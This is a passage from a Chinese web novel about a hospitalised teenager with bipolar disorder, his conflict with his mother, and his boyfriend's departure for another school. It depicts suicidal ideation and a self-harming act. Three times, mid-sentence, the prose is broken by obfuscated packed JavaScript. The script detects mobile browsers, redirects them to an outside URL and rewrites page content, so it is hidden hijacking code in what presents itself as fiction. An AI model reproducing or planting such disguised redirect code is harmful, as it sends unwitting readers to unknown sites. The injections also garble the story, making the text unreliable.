齐怀生就在校门口，倚着他的红色小电驴，在打电话。陈向然走近，听到他说：“我不会松口的。”然后挂了电话，差点把手机扔出去。 “松什么口？”陈向然随口问。 齐怀生听见声，才知道他来了。看他一眼，手机揣进兜里：“没什么，家里事。” “平伯吗？”陈向然拉拉他袖子，“怎么样了？” “行了。”齐怀生跨坐上小电驴，拍拍后座，“你只管好好治疗，别的不要操心。” 陈向然轻轻贴着他后背，小电驴乘风而去。 每到红绿灯路口，齐怀生就问他饿不饿，有没有带身份证，抓着他两手环到身前，要他抱紧了，别松手。没有别的话。 想到那天带着腥味的吻，浓烈地刺激他死气的大脑。而此时他身上的檀香气、万花油的味道，又让他安下心来，渐入沉睡。 再睁眼，耳边是医院的吵嚷，和一个女人的呼唤。 他们已经在精神科的候诊大厅。揉揉眼睛，齐怀生站在几步开外，倚着柱子看他。陈向然朝他伸出手，想牵住，却被另一只手握住。 “向然？” 林岚的脸倏地出现。 他下了一跳，也不意外。杨姗在政教处开完小会，第一件事当然要把他请病假的事告诉林岚。 林岚曾经神经兮兮地小声说，抑郁症是不能乱说的，得了精神病被发现，人生就完了。 儿子患上了双相，她会怎么想呢？陈向然猜不到。她很沉默，只是从包里掏出一只保温杯，打开盖子，递给他。说在空调里干燥，要多喝水。然后还是沉默。她坐在他身边，疲惫地揉着眉心，时不时替他看看荧幕。 沉默酝酿出抑郁症这个话题的禁忌感。明明和齐怀生在一起时，他还能诉诸于口，可以被接纳。 在诊室里接受询问，他支吾很久，删去诸多细节。不到十分钟，医生已经不耐烦地在桌上敲着笔，指指林岚：“家长先出去吧。” “我？”林岚看向医生，“我怎么能出去？我儿子的情况我必须知道。” “您影响了问诊进程，后面还有很多病号在等。” “等等，医生，我儿子未成年。心理问题这样的事，家长怎么能不知道呢？” 儿子从小到大所有事情，她都是知道的，林岚这样想，哪怕他寄宿了见不上面，在学校一切也有通过老师了解…… 医生敲着笔，一手揉摁太阳穴。诊室里一时无人说话。 他想了很久，叹了口气。 “或许您放放手，对他的病会有积极作用。” 林岚默了。 “出去吧。”医生面露厉色，下了逐客令。 林岚看看医生，再看看陈向然——儿子垂着头，不曾直视她——只能退出去，轻轻合上诊室的门。 齐怀生没有跟进去。 林岚从头至尾都当他不存在一般，直到从诊室里出来，一双目光利箭般射来。 “同学，是你让向然来精神科的吗？”林岚质问道。 他回以淡然的神色，答是。 “阿姨知道你热心，但是你们小孩啊，很多事情不懂。这东西不能随便来看的，怎么回事啊就想到上精神科。有点情绪调节调节就好了。知道吗？” 齐怀生任她唠叨了很多，没有说话。 林岚不是病人，他也不是。他能理解有些人会如此看待双相障碍，就像正常人永远不能理解自杀这种违抗生物本能的行为。但是…… 齐怀生咬紧牙关，一身肌肉紧绷，情绪蠢蠢欲动。 “——这东西有可能会跟档案的，那样就麻烦了。我是他妈妈，不希望他有差错。你们还小，以后为人父母就知道这样的心情了。” “那您也曾为人子女，怎么就不明白他的心情呢？”齐怀生攥紧衣服，克制住了，没有对他的亲人更加失礼，“您以为，他待在学校，有安保、有门锁就安全了吗？学校怎么可能绝对安全？他身边没有人，学不会交朋友。如果不是优秀，被同学崇拜，他就跟我妹妹一样……” 林岚比他矮一头，眼神仍像俯视他一般。但她听得认真，齐怀生感受得到。 “睡眠怎样？”医生问。 陈向然挠挠头，回忆了一下：“有时睡得很少，有时睡不醒。” “还有自伤自杀的念头吗？” “……有。” 医生见过的病人多了，只是匀速地在电脑上敲下症状：“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301991|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划吗？” “有。” “但你没有实施。”医生停下敲键盘的手，转过身来，十指交叉，“是出现了什么原因吗？” 陈向然低着头，没有回答。 “我希望你找到这个原因，这可能是你康复的渠道。”医生再度转过身，在电脑上开下药方。 其实没有原因，只单纯被拦下了。他已经放弃所有，连死这件事都不再能成为他的目标。他的人生可以继续，也随时可能终止。他知道还会有下次，也知道齐怀生会再次出现，一次又一次。 好像这就是他和外界唯一的联系了。 “这边建议你住院治疗，”医生说，“我们会监督你的用药，还有其他物理治疗辅助。” 林岚这时从门外闯进来：“住院？” 陈向然和医生同时看向她。 “那个……”林岚意识到自己冲动，缓了缓道，“要住多久啊医生？什么时候能好？向然他还是学生呢，他要高考的。” “大概一个月。而且我告诉你们啊……”医生放下手里的笔，转椅停止摇晃，“这个精神疾病的事，不是说一个月后你就可以康复了，活蹦乱跳了。这一个月仅仅是药的调试期，之后出院，仍然要继续接受治疗。什么时候能好……双相情感障碍有百分之七八十的人能痊愈，剩下的人则终身携带病症，终身服药，所以我不能保证。” “终身不至于。”林岚勉强地对他露出笑容，摸摸他的头发，“一个星期都够了吧？真的得住上一个月吗？” “家长做好心理准备，这是病，不是开玩笑的事情。” “那行，我们回去准备准备，您看明天入院如何？” 医生点点头：“可以。” 医院的走廊长得望不到尽头。 天光苍白单调，映得他面无血色。林岚还在身旁叨叨。 “这不能吃能睡能走路嘛……”她嘀咕着无所谓的话，却露出担忧的、不确定的神情，“你一直都在学校自己生活的呀……” 他望着前方。齐怀生先一步走了，已经到了电梯口。望过来的一眼，都是担忧。 他住进了住院部的精神医学区。 他躺在病床上，手背上输着让情绪安稳的药液，耳垂上夹着电流治疗仪。微麻的电流通过耳朵直至大脑，昏昏欲睡。 他以为这个月能得到林岚久违的悉心照顾，但她依旧很忙。无脚鸟一样从停不下来。他靠着齐怀生的信息和电话度过这段封闭的日子。 精神病区每天都不消停，时常有情绪失控的患者在走廊喊叫、谩骂，思维混乱的患者到各个病房串门，说些不明所以、怪异颠倒的话语。和齐怀生通电话时，总是有躁狂发作的病人从门口尖叫着跑过，或是哭喊的女孩被护士用布条捆绑在床上。 “你别打来了。”陈向然嗫嚅着说。 “怎么，又想甩掉我？还是‘告别’？” “唉不是，你别……”他急促地回答，惹得对面直笑他，“我怕吓到你。怕……你觉得我和他们一样。” “哪样？” “大喊大叫，胡言乱语，一蹶不振，像个……疯子。” “疯子？那挺好，你离天才不远了。” 那边在笑，陈向然深吸一口气：“我没在开玩笑，齐怀生……” “陈向然，他们和你一样，生病了，对吧？” 陈向然看看自己的病号服，又看看满病房、满走廊的病号服。 隔壁病房那位精神分裂症的大哥，仍带着他的母亲到这间病房来，告诉每个人，他的妈妈有精神分裂症。他的母亲只是跟着他，鼓舞他和大家打交道。新入住的病人尚会回应：“好的，那你要照顾好你妈妈。”待过十天半月的病人，只会习以为常，继续睡觉。在药物安眠下短暂地逃避痛苦。 这时候隔壁床老哥又一次做完电击治疗回来，迷迷糊糊坐回床上。陈向然要再向他介绍自己，重新认识——电击将他一部分记忆变得模糊。 “嗯。”陈向然说。 “没有人想发疯，也没有人想这样大哭，没有谁喜欢这样的自己。”他这么说时，陈向然想起他在海边不由自主哭泣的一幕，“可是人就是会有这样的时刻，不管是病人，还是常人、活累了的人。这次我爸出事后，我就觉得吧，人活在这世上，都会有这样的时候。” “所以陈向然，无论你是什么样子，我都爱你。”齐怀生顿了顿，说，“不论以后我们在哪，都会一直在一起。对吧？” 73. 喷发 不论以后，我们在哪里…… 陈向然不确定这句话的含义，他大概是想说什么，或是要一个什么答案。 他早不再考虑“以后”了，以后在哪里，他甚至不确定自己在不在这世上。他们吻也吻了，可他们都清楚，是齐怀生强行将他留住。他从没给过明确的回应。 他会找借口，心说自己迟钝、冷漠，不知怎么面对别人的好意。但骗自己多少遍，他还是明白自己不能回应。齐怀生因为怕失去，所以迎难而上。他却因为怕失去，选择后退。 一个常人能忍受一个患者多久呢？他又能心安理得地做一个拖累多久？ …… 医院有自己的食堂，每日三餐都有一辆推车停在这条封闭走廊的尽头，等患者们或陪护们去领餐。齐怀生说医院餐单调、没营养，偶尔便给他带来些卤味，还有他爱吃的焗饭、炒饭。 每天的任务除了理疗，就是挂着水盯视天花板。他望着狭小的窗户，常感到精神科住院部的不科学，最需要阳光滋养的病患竟住在看不到天空的地方。加上药物的副作用令人烦躁，他甚至无法完成一些体检项目。每天在病情的痛苦和副作用的痛苦中来回摇摆。 还是只有睡梦令人解脱。 他胡乱裹着病号服，坐在病床上，脖子微微一伸，喝下齐怀生喂给他的一勺粥。前不久在电话里问的那句“对吧”，没有答复，草草结束了。齐怀生也不再问起，只是不停地说“你要快点好起来”。 抑郁症患者最反感、最逃避的劝谏之一。充满好意的希冀，放在病患身上只是一份压力。 “为什么要快点好起来？”陈向然接受着投喂说。 齐怀生顿了顿，勺子轻敲饭盒：“因为摆脱了这病，你才能独当一面。” “有你在，不可以吗？”陈向然微微侧头，神色茫然，“就这样，一直下去。” 说者无意，但齐怀生看着那只白皙的手慢慢放在自己裸露的颈窝，眼前人脆弱得仿佛下一秒就要消逝，他享受着这种依赖，还为此烧红了耳尖。 他将人揽在怀里，轻轻在额角一吻：“嗯……可以。” “如果我这辈子都好不了呢？” “会好的。”齐怀生只是给了鼓励，又像是不想面对。 然而病得久了，陈向然也想不起所谓“好了”是怎样的感受。即便药物有时令他达到平静甚至愉悦——那是一种陌生的感觉，由于陌生，或许还会令他退却。人习惯于黑暗之后，阳光都会变得刺眼。 他还没做好准备，去迎接这场持久战。 有时轻轻一挪视线，瞥见门口的人影，他会在齐怀生疑惑的表情下夺过勺子，自己吃起来，头都不抬。 时间长了齐怀生心下了然，还有点想笑，回头就见叶知躲在门口偷偷望着。 齐怀生不想给压力，两人的关系没向任何人公开。但叶知已不止一次撞见他们亲密的瞬间，齐怀生知道想瞒也瞒不住，便由她去，等她准备好问个真相，再一五一十地告诉她。 “哥，能来我病房里吗？”叶知怯怯地说，“有事和你说。” 齐怀生了然地跟着她走，四下看看混乱的走廊，拐进病房的一瞬间，他开口：“阿知，如果哥有什么选择，让你不开心……” 叶知默默坐回病床，盖上被褥。她的视线、眼睫总是下垂的，此时却直直地看着自己哥哥：“你真的决定了？” “嗯，很早以前，就决定了。”齐怀生拉过一张塑料凳，坐在床边，“我和陈——” “可我觉得，这是个好机会。”叶知目光里满是急切，“姨父他费了三层人脉才在江洲给你找的学校，是附中啊，你好好想想。” “……” 附中……省里唯一能与海中一较高下的省重点。想想那时的中考分数，他也只勉强够到择校线。只是户口阻挡了他。 他算是见识到叶近成的手眼通天，但这老狐狸从追债到替他找学校……齐越杰是给他下了什么蛊药？第一天陪陈向然来医院前，齐越杰给了他电话，如果下个星期不去走流程办手续，就等于爽约。附中本来就不轻易开这样的后门。 费了多少精力和财力，不去上这个学，就太辜负全家的期待了。齐越杰是这么说的。 不，他想说的或许是，太辜负叶近成的人情了，这老狐狸咱辜负不起。 齐怀生并非不想上学，听到消息高兴多于疑惑。可若能晚一点，再晚一个月，等陈向然稳定下来，能按时吃药、照顾自己、重新上学了，他再走，那样是不是才算有始有终？ 他回望陈向然病房的方向。 ——“有你在，不可以吗？” ——“就这样，一直下去。” 齐怀生想，怎么忍心亲自为他筑起保护壳，又亲手替他摧毁。 回到陈向然的病房，那饭盒还没完全消灭。里头有排骨、火腿、白菜、豆腐，齐怀生亲手做的，搭配很丰富。 他坐在床上吃着，齐怀生拉了张凳子在边上看着。陈向然时不时抬眼看他——他不知道自己此时耷拉着眼帘，一副情绪低沉的样子。 陈向然把饭盒放在床桌上，空出一只手，摁在他手背上：“你……” 齐怀生抬眼看他时，他身后的纱帘被风轻轻撩起。外头阳光轻薄柔白，从枝叶缝中细碎地洒下来，明亮而不刺眼。 苍白的病人踟蹰了一阵，才说：“为什么这样看我？” 陈向然有些过分敏感的心思。齐怀生知道，自己一定泄露了什么心绪，让他不安了。 他越是不安，齐怀生就越放不开手。 “你在纠结吗？”陈向然发丝凌乱，散在额角，显出几分可怜来。人敏感到极致，总会将所有的细节联系起来：“来医院那天，越杰哥和你说什么了？” “在焦虑我上学的事。”齐怀生给他掖好被角，看他在药物点滴下昏昏欲睡，还强撑眼皮听他说，“暂时没有眉目，但你放心，我不会放弃的。” 话没说整，陈向然已经在药物作用下睡着了。 第二天，药物副作用就来了。 输液瓶用了新的药物，刚刚注射时喉管升起一股强烈的灼烧感。他硬着头皮忍受下来，之后食欲不振，每天昏沉地躺在床上，还时不时将午餐一股脑地吐出来。 恰好在副作用刚过去时，林岚来看他了。 她问他怎么样了。如果病情稳定，就提前办出院手续，不要落下太多课程。 “住院期间你自己看着，好点儿就写点题吧。这些……”林岚从纸袋里拿出几本习题册，“啊，对了，我遇到刘永凡的妈妈了。永凡也来住院，人家天天在床上写题，真是很用功啊。咱们也要坚持才行。” 往后的许多年，许多个日夜，陈向然想到此刻，都有所后悔。果然顺从才是避免麻烦的最佳选择。 但他没有。 输液瓶一滴、一滴地流淌药液。 扎着留置针的手紧紧攥着床单。 “积极一点，就没什么病啊病的了。整天睡觉，你也不嫌浪费时间。我也不逼你了，快高三了，这种时候应该干嘛你心里有数。”这些“不逼”的话语，藏着“命令”的锋芒，缓慢地、深入地，反复刺进心肉里。 林岚行色匆匆。她似乎一贯如此，背包也没卸下，椅子在身边也不坐下，只是在他的床桌上放了几本习题。任务完成，她又要奔赴下一个任务。她的人生是一个又一个任务，工作、结婚、抚养儿子，都是任务，而且她要做到最好。 她曾经也严格又包容，为他倾尽陪伴和心血。他从学校被父亲接回家时，会蹲下身与他平视，对他说声“回来啦”。会问他，在学校过得怎么样，而不是今天考了多少分，拿了多少奖。 从某一年起，陈向然时常想到当时的场景——男人和女人在大街上推搡谩骂，每一句都力图在对方心上扎刀子，陈向然印象最深的是他们凌乱的头发和衣装，横飞唾沫，狼狈不堪。 他都想起来了，原来他真的去过海洋馆。 江洲唯一的海洋馆，那个造成他人生从高峰坠入谷底的海洋馆。 在海洋馆昏暗的灯光里，父亲和一个陌生女人在黑暗中亲吻对方。 陈向然在十色斑斓、光影交错的海洋生物群里，在水族箱的逆光里看到这一幕。 他的大脑开始欺骗自己，骗了自己十来年。 从那是父亲的朋友——到那不是父亲——到他从未去过海洋馆。 可那天，父亲在来往的人群里发现他，朝他走来，站到光下，脸上划过玻璃池中蓝色的水光和鱼群的阴影。 “向然，这位是爸爸的朋友。” 他八九岁，很小，却又不那么小了，知道父亲在试图遮掩丑陋的一切。陈向然只是呆愣、麻木地望着他，直到身后传来一声尖叫。 后来的事他回忆不清了，只记得周围好多大人，他在人腿的丛林里被推挤来去，女人的尖叫和男人的阻止都从人群的缝隙里传来，小型的水缸被推倒，玻璃碎裂，水花四溅…… 那时身边巨大的玻璃池，有一只幼鲸，呜呜地吟唱着，像是哭泣。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301992|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这个题型你会了没？你没事啊别老睡觉，睡多了精神也不好。” 可那是药液的作用，□□和阿普唑仑是逃避苦痛的温柔乡。 “病了也坚持一下，别不把学习当回事。” 可他做什么事都变得困难了。 “你知道不读书的人有多惨吗？人没钱都过着什么日子，都只能干什么工作，你们现在的孩子呀根本都不懂。” 抑郁就是矫情，就是作的，就是脆弱，是强作愁。 人没钱都过着什么日子……齐怀生会承担、会爱人，会在绝望时重新抓住希望。 不比现在躺在病床上的他强么？ “为什么可以这样安排我……”他咬着牙关，佯装镇定，没意识到情绪已经淹没上来。 分明已经是听过无数遍的，普通的训斥，林岚依旧可以伤害到他，这是母亲的权利。 林岚还在翻题册，没听清：“你说什么？” “我听不到……我总是听不到你关心我，都是该做什么，该走那条路，一直到……”他急促地呼吸，就快喘不过气来。 直到有一个与他少有谋面、擦肩而过的少年，用死来在他生命中留下印记和忠告。 不要忽视自己的感受。纵使所谓的教育是让你学会抛弃自我，也请不要忽视。 “你说什么呢？向然，”林岚捧住他的脸，让他看着她，“你是我儿子，我怎么可能不关心你？妈妈都为你付出多少心血，就为了你好好的。你一生都会很好。就算没有你爸，我们母子都会一直很好。” “妈……你很好吗？我不好，也不觉得你现在很好。” “因为你还没长大。”林岚说，“等你长大了一切就都妥当了，一切就都没问题了，也就……没那么辛苦了。” 似乎所有人、所有一切都在让他相信，这个世上只有一条路，一个结果，一种选择，一种价值。人是不重要的，按无形的规则生活着才能获得幸福。可他发现，所有人，哪怕最亲近的人也有他们自己的私心——这样的灌输是多么便于“教育”。 “陈向然。”林岚深深地呼吸，压抑怒气，“你就是非得在这地方浪费时间，故意来气我，跟我唱反调对吧？陈向然我告诉你……” “妈……” 他哽咽着，快速地换气，眼睛里布满了血丝。他呼唤着母亲，可她从数落他到倾诉自己失败的婚姻，再到批判失败的生活和一个失败的母亲，用了那么长时间。 护士们听见冲突从外面快步走进来，才安抚住她。 可他再一次地，感觉自己再跳不出这个循环的怪圈。他将永远在鞭策和自我鞭策下，放弃所有，把自己送入抑郁这个无尽的黑洞。 齐怀生说过，人没了什么都不能没了希望。他的希望几乎消失殆尽……他还剩下什么？ 齐怀生…… 他倏地想起什么，一把拔了输液针。拉大了针口，血滋啦一下喷发，洁白的被单溅上几点刺眼的鲜红。 他跌跌撞撞地跑出病房，刚出门，就跟隔壁病房的病患打了照面。他极力刹住才没撞上。抬眼一看…… 是叶知。 少女眼里藏着跟他一样的迷茫、憔悴，绝望的模样就像是和自己摇曳的倒影相望。 叶知身形单薄，宽松的病号服下散发淡淡的桂花香气。她扶着墙轻轻游走，看到他时微微一怔。 她眼里的陈向然失了往日的温柔，四肢轻颤，大口呼吸，像一只走投无路的困兽。他睁着双没有聚焦的眼睛，踉踉跄跄地走上前来问她：“齐怀生呢？齐怀生在哪里？他为什么不接我电话？” “他……”叶知被他的脸色吓得脱了血色，颤颤地说，“他今天没来。” “我就是问你，他今天为什么不来？”齐怀生答应过，周六一定会来。 他几乎是吼着说的，走廊里的护士担心他不受控，都围上来牵制他。叶知被他攥得肩膀生疼，挣脱了后退几步，拉开距离：“我……我也不知道。时间不多了，他应该是要去办入学手续了。” 陈向然呆愣得像个石雕。 齐怀生说还没有眉目，如何过了一天就要办手续了。 可当下他被情绪彻底控制，非逃出这里，见到齐怀生不可。他拼命寻找，像吸食了瘾物般迫切地需要他。 “办手续……办手续……”他反复喃喃，“告诉我，叶知，告诉我，他去哪个学校办手续？” 叶知不知怎的抿住了唇。 好像即将吐出的，是一颗谁也兜不住的恶果。 74. 宁静 齐怀生的房间衣柜大敞，琐碎的生活用品铺了一地，他掀开行李箱，一个人默默打包行李。自打红毛那群小混混被区属公安局抓走，他巡逻不去了，其它兼职也不再找。 他常常望着柔白缱绻的天空恍了神，没有一点实感。掀开行李箱才想到，原来他已经答应了齐越杰。去江洲的票买了，入学手续的资料准备了。心却跟这春末夏初的天气一样，拧巴成一团。 他要走了，是自己做的决定。他希望只是情人暂时分隔两地，但也明白只是希望。关于陈向然，千头万绪让他胸口一阵钝痛。他不是个会逃避的人，越疼他便越是反刍，去想陈向然如何失望、惊愕、受伤，乃至憎恨他。 “往远点看啊，笨小子。”几天前，刚过三十三岁生日的齐越杰父亲似的抓他的头，对他说，“现在不好好抓住人生，以后啊，自身都难保，你还想干嘛？养你爸？养咱姑？还是筹备阿嫲的后事？”说到这，一种迷信的忌讳让他顿了顿，“别怪我话说得难听，人生嘛就不是那么愉快的过程，有些事该来都要来的。” “我当然懂。”齐怀生打开他的手，“是你不明白我的顾虑。” “我不明白什么？”齐越杰愉悦地挑挑眉，呼出一串烟，“说来听听？” 齐怀生只是“哼”了一声，仿佛在说“懒得说给你听”。 齐越杰反倒不问了，毕竟兄弟俩一个德行。硬是撬开他的嘴，只会让他闭得更紧。 这段时间齐越杰总像怕他有异心似的，不停重复去江洲之后的事宜，重复这件事的重要性。齐怀生只奇怪他不再提起姨父了。明明先前可喜欢提那老狐狸了，就为了激起他不想欠人人情的性子。 “所以这个人情，你要怎么还叶近成？”齐怀生几乎是逼问。 “钱呗。”齐越杰回答得理所当然，“这是我该想的事，小孩子好好读书就是了。别想什么有的没的顾虑。” “嗯。” “这几天，好好跟人告个别。” 齐怀生收拾生活用品的手一滞。 他衣服不多，衣柜已差不多清完了。一些要带的课本练习也整理好了。衣架和拆装式小鞋架正拎在手里，一个不慎掉了两根零件。 “告……什么别？” “去了就别回来了，跟我在那扎根。”齐越杰说，“大城市好，以后孩子也可以有更好的资源。” 的确，他还盘算着两地跑，一学期回来两次，寒暑假在这陪陈向然之类。所谓世间安得双全法，两全其美当然是幻想，只是齐越杰戳破了最后一点泡沫。 他不说话，对面便说：“你知道吧？我和你嫂子是高中同学。” “嗯。”齐怀生默默捡起地上的架子腿。 “高中嘛，那时候毕业就分开，很自然的事。多年后老同学再遇见，就是另一段关系。人还是那个人，但是吧，社会就是个看地位、看身份的地方，老同学也会变质，陌生了，或变成利益合作。一切都是在变的。你现在觉得惦记、后悔的事，将来不定你怎么看呢。” 齐怀生停下叠毛衣的手，讥笑似的看他：“那你跟嫂子是陌生了，还是利益合作？” “都不是。”齐越杰说，“再怎么变质，再怎么变得衣冠楚楚，老同学就是老同学，以前穿脏校服、逃课打架的傻样，谁还没见过了。” 齐怀生不搭理他，他便补上一句：“你和陈向然也一样。” 齐怀生坐在红木椅上，面对空荡荡的客厅，一想到这些便露出自嘲的笑。齐越杰至少说对了一半——自身难保，还能干什么呢？ 他于是答应了。大不了分离一年，只要他好好向陈向然解释。 他翻起身来，去摸索手机，快捷键拨通了叶知的电话。听筒里却响起“您拨打的电话正在通话中”。 他放下手机，无意间亮起屏幕，看到陈向然好几通未接来电。心下一惊，赶忙快捷键回拨。接起来的却是个女声：“喂，你是……向然的朋友吗？” 那女声小心翼翼，带着中年的沉浑和沙哑，他听过，是林岚的声音。陈向然的手机怎到了林岚的手上？ 齐怀生霎时间做了百八十种悲观猜测，怒气升腾。他做久了痞子，被惹怒时，全不顾忌长幼礼节：“你又把他怎么了？” 阴沉的调子触愣了对方。林岚抽噎一声，说：“那孩子一定是找你去了，阿姨请你劝劝他好吗？算阿姨求你，求求你，帮阿姨劝他回来——” “你是他母亲。”齐怀生冷言冷语，“为什么是我来劝？” 他听出对面的手足无措，声线磕绊，在短短须臾间愈加苍老无力，最终也没发出别的声音来。 印象中林岚还是个雷厉风行的女人。站在医院的日光灯下，面色的苍白、唇色的嫣红、项链的银辉都无比刺目，仿佛她是不动如山的审判方，少年们只能活在她的目光下。齐怀生体会过她的坚硬和固执。 权威竟也如此脆弱。 齐怀生几乎悲伤地叹出一口颤抖的气：“他在哪？” “跑了……找人报警了。同学，你们关系好，你知道他会去哪里，对吗？向然现在可能不想看见我，我不希望他又跑远了，离我太远了……可以的话替阿姨劝一劝……” 面对恳求的口气，齐怀生竟同情起电话那头的女人来，他不善于安慰人，只重重“嘁”一声，什么也顾不上，径直出门了。他猜陈向然会回石川，他便在此处寻找。 他沿河快走，反复打叶知的电话。打不通，他一脚踢飞了路边的石头，砸进河里发出沉重的水声。 回头重入后街，穿入巷弄，近河流中游，直到被一颗石头绊了脚，猝然跪坐在河边。 惊慌了数个小时他这时忽地不动了，任裤管被粗糙的砂砾打湿。 云层从额间缓慢走过，他浸润在潮湿的空气里，努力深呼吸，手只是抖得越来越厉害。 一切都失了方向。他本想好了如何稳住陈向然，承诺一直等你，一定不放弃你，只要你需要一定联系得到我，一年后见等等……他没来由地充满负罪感，也不知自己做错了哪个环节，才落到这样左右为难的境地。 此处偏僻潮湿，他感到冷，但仍止不住地往脸上泼洒冰凉的河水，熄灭胸中炽热的急躁。 数个小时的横冲直撞，最后竟是在海中门口撞见他。 陈向然在冷风里揪紧自己的衣领，身形微晃。病号服和休闲裤都太单薄，风一吹，衣裤紧贴身线，显出腰肋。齐怀生看出他又是瘦了，瘦得身骨嶙峋、触目惊心。 他身后跟了人，小少爷孙临潼像只八哥一样，仿佛丝毫没有注意到同学的病态，滔滔不绝说着什么。陈向然只是垂眼，发梢在晚春的风里里柔软如柳絮，也不知有没有听进对方的话。 齐怀生能想象陈向然发疯的样子。不曾想，他此时竟是这样油尽灯枯的模样，双目凹陷，凝视积水成洼的地面。 孙临潼似乎往他手里塞了个折叠的纸块，才离开。陈向然没有向他道别，裹紧病号服，埋头打了个喷嚏，抽着鼻子朝后街深处来。 齐怀生原地愣了许久，看着他在冷风里就差把自己团起来，踩了碎石忽地一个踉跄。齐怀生惊醒，一个箭步上去，把他彻底揉进怀里。 拥抱来得太突然。陈向然怔着，被迫闷在爱人的胸膛里。 数小时的寻找，那样绝望而走投无路，。此时所有委屈悉数袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301993|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，齐怀生把人抱得愈来愈紧，生怕一放松，怀里的珍宝又再度消失。 齐怀生拍拍他的后背，轻轻唤他：“别怕，向然，我在这，别怕……” “嗯。” 他稍稍松开怀里的人，捧起对方的脸——那双乌黑无光的眼静静地注视他，像是期待，又像单纯的安心——也或者根本什么都没有。那双眼太空洞，让人琢磨不出好歹。 “怎么跑到这来了？”他声音放得很轻，好像稍微重一些就会压垮面前这张薄纸。 “从医院跑出来了。”陈向然靠在他肩上，生怕被教训似的，闷闷地说，“我……我不是故意的，我就是想你了，生哥。” 齐怀生听得鼻头发酸，五指插进凌乱的碎发里，轻轻揉抓，一举一动都是有过之无不及的想念和忧心。“不训你。你想去哪，我带你去。” “你去哪，我就去哪。”陈向然抱住他，扯紧他后背的衣服。 于是齐怀生决定带他回家。 两人之间静得出奇。 拥揽着走在路上，海中的读书声渐渐远去，只剩穿巷风拥挤哀号而过。进了家门，也不见谁起个话头。 这家里几乎收拾得一干二净，齐怀生一进门，便发觉带他回家欠妥。陈向然怎么可能不对空空如也的房子发出质疑。 可他就是没有质疑。 他的眼神四下里觑视，扫过空空的书桌书架，敞开的空了一半的衣柜，就连客厅的茶几都空空如也。齐怀生偷偷瞥他好几眼，只见他面无波澜。 怪异的宁静持续到午后。齐怀生给他吃了点心，扯掉病号服，换上一件码数过大的卫衣。替他穿袖子时，他似乎又笑了，笑容微不可察，可齐怀生就是捕捉到了。嘴角轻扯，眼底并没有笑意。 “有什么想跟我说的吗？”陈向然忽地望向他，“错过了就没机会说了。” 齐怀生一顿，他早该想到陈向然敏感如斯，吞吞吐吐并没有什么用。“啊……如你所愿，我要回校读书了。” “江洲的附中？” 齐怀生愣了愣，猜不到他怎么得知的消息：“嗯。”随即语无伦次起来，“但……但是，我得空了就会回来，你需要我就给我电话，我一定会回来，一定会。我知道，把一个痛苦的你丢在这是我的错，但是我——” “不是你的错。”陈向然仍两眼无神，一只手捧上对方的脸，几乎笑着说，“你尽管去江洲奋斗吧。我不是说了吗？你去哪，我就去哪。” 齐怀生凿摸半晌，眼睛越发瞪大，不敢相信陈向然话里的意思。 手机嘟嘟一响，是叶知在微信问他陈向然的下落，林岚也在找他，叶近成受林岚所托，去派出所报了警。齐越杰大约也是被叶近成联系了，往他手机上打了好几个未接电话。 而失踪的人正在自己面前说：你去哪，我就去哪。 他们如何不懂对错，如何不懂什么是保险，什么是自取灭亡，类似的话听过长辈太多的灵警告。齐怀生已说不出这样的话了。 他颤抖着嘴唇，大脑混乱不堪，最后只是说：“不，你得回去上课。” 话出口，他便后悔了。 小心翼翼地观察恋人的脸——陈向然出人意料地没有失控。 这间房子从来是齐怀生独居，他很早便习惯了死寂。可当下，陈向然越是寂静，他越觉可怖。 天花板的灯泡“噗”一声爆开，黑暗蔓延整间屋子，灯光余韵制造出诡异的景象。粘稠变幻的光影化开，金钟一般，在他眼前包裹住陈向然。齐怀生忍不住朝他伸出手，他却往后退了一步。 因这一步，光晕收缩、挤压，眼前人的脸就这么没入浓稠的黑暗。 75. 前夕 陈向然第一次见到齐怀生，也是今天这样的天气。雨夜、旧街、远山钟声、小门店的劣质饮料、下水道空洞的水流声……眼前还要更潮、更湿，梅雨季节的空气满是从内海湾刮来的黏腻。 雨滴拍打在锈迹斑斑的窗户栏杆上。 他差点忘了，曾有段时间很喜欢去巷头酒吧，背着母亲泼彩勾画，只想借这么些空档，逃离他厌恶的一切。现在他不去了，也不再沾染任何色彩，却仍不放弃地想要逃离——像一个真正的病人，在心里抓住最后一根稻草，说：齐怀生，带我走。 说出来也无济于事，可他还是会说一遍。看到齐怀生瞬息万变的难看脸色，他好像得到了一个早就想到的答案。 